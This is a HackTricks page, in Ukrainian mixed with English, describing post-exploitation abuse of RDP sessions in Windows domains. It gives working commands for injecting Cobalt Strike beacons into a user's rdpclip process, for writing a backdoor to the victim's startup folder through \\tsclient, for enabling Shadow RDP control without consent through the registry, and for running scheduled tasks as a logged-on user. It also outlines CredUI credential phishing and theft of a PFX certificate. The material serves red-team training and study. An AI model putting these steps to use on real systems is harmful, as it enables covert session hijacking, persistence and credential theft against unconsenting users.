Зловживання RDP сесіями
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
RDP Process Injection
Якщо зовнішня група має RDP access до будь-якого комп’ютера в поточному домені, attacker може компрометувати цей комп’ютер і чекати на користувача.
Коли цей користувач підключиться через RDP, attacker може pivot у сесію цього користувача і зловживати його дозволами у зовнішньому домені.
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
Перегляньте other ways to steal sessions with other tools in this page.
RDPInception
Якщо користувач підключається через RDP into a machine, де attacker його waiting, цей attacker зможе inject a beacon in the RDP session of the user, а якщо victim mounted his drive під час доступу через RDP, то attacker could access it.
У цьому випадку ви можете просто compromise victims original computer, записавши backdoor у statup folder.
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
Shadow RDP
Якщо ви є local admin на хості, де жертва вже має active RDP session, ви можете мати можливість переглядати/керувати цим робочим столом без викрадення пароля або дампу LSASS.
Це залежить від політики Remote Desktop Services shadowing, що зберігається в:
HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow
0: Вимкнено1:EnableInputNotify(керування, потрібне підтвердження користувача)2:EnableInputNoNotify(керування, без підтвердження користувача)3:EnableNoInputNotify(лише перегляд, потрібне підтвердження користувача)4:EnableNoInputNoNotify(лише перегляд, без підтвердження користувача)
:: Check the policy
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
:: Enable interaction without consent
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
:: Enumerate sessions and shadow the target one
quser /server:<HOST>
mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt
Це особливо корисно, коли привілейований користувач, підключений через RDP, залишив розблокований робочий стіл, сеанс KeePass, консоль MMC, сесію браузера або відкритий admin shell.
Scheduled Tasks від імені увійденого користувача
Якщо ви є local admin і цільовий користувач currently logged on, Task Scheduler може запустити код as that user without their password.
Це перетворює існуючу сесію входу жертви на execution primitive:
schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
schtasks /run /S <HOST> /TN "Updater"
Notes:
- Якщо користувач не ввійшов у систему, Windows зазвичай вимагає пароль для створення завдання, яке виконуватиметься від його імені.
- Якщо користувач увійшов у систему, завдання може повторно використовувати існуючий контекст входу.
- Це практичний спосіб виконати GUI-дії або запустити бінарні файли всередині сеансу жертви без звернення до LSASS.
CredUI Prompt Abuse From the Victim Session
Якщо ви можете виконувати команди всередині інтерактивного робочого столу жертви (наприклад через Shadow RDP або заплановане завдання, що виконується від імені цього користувача), ви можете відобразити реальне вікно запиту облікових даних Windows за допомогою CredUI API та зібрати облікові дані, введені жертвою.
Відповідні API:
CredUIPromptForWindowsCredentialsCredUnPackAuthenticationBuffer
Типовий сценарій:
- Spawn a binary in the victim session.
- Display a domain-authentication prompt that matches the current domain branding.
- Unpack the returned auth buffer.
- Validate the provided credentials and optionally keep prompting until valid credentials are entered.
Це корисно для on-host phishing, оскільки підказка відображається стандартними Windows API замість фальшивої HTML-форми.
Requesting a PFX In the Victim Context
Та сама примітива scheduled-task-as-user може використовуватися для запиту сертифіката/PFX від імені увійшовшого користувача. Цей сертифікат може пізніше використовуватися для AD authentication від імені цього користувача, повністю уникаючи викрадення пароля.
Загальна послідовність:
- Gain local admin on a host where the victim is logged on.
- Run enrollment/export logic as the victim using a заплановане завдання.
- Export the resulting PFX.
- Use the PFX for PKINIT / certificate-based AD authentication.
See the AD CS pages for follow-up abuse:
References
- SensePost - From flat networks to locked up domains with tiering models
- Microsoft - Remote Desktop shadow
- NetExec - Shadow RDP plugin PR #465
- NetExec - schtask_as module
- NetExec - Request PFX via scheduled task PR #908
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


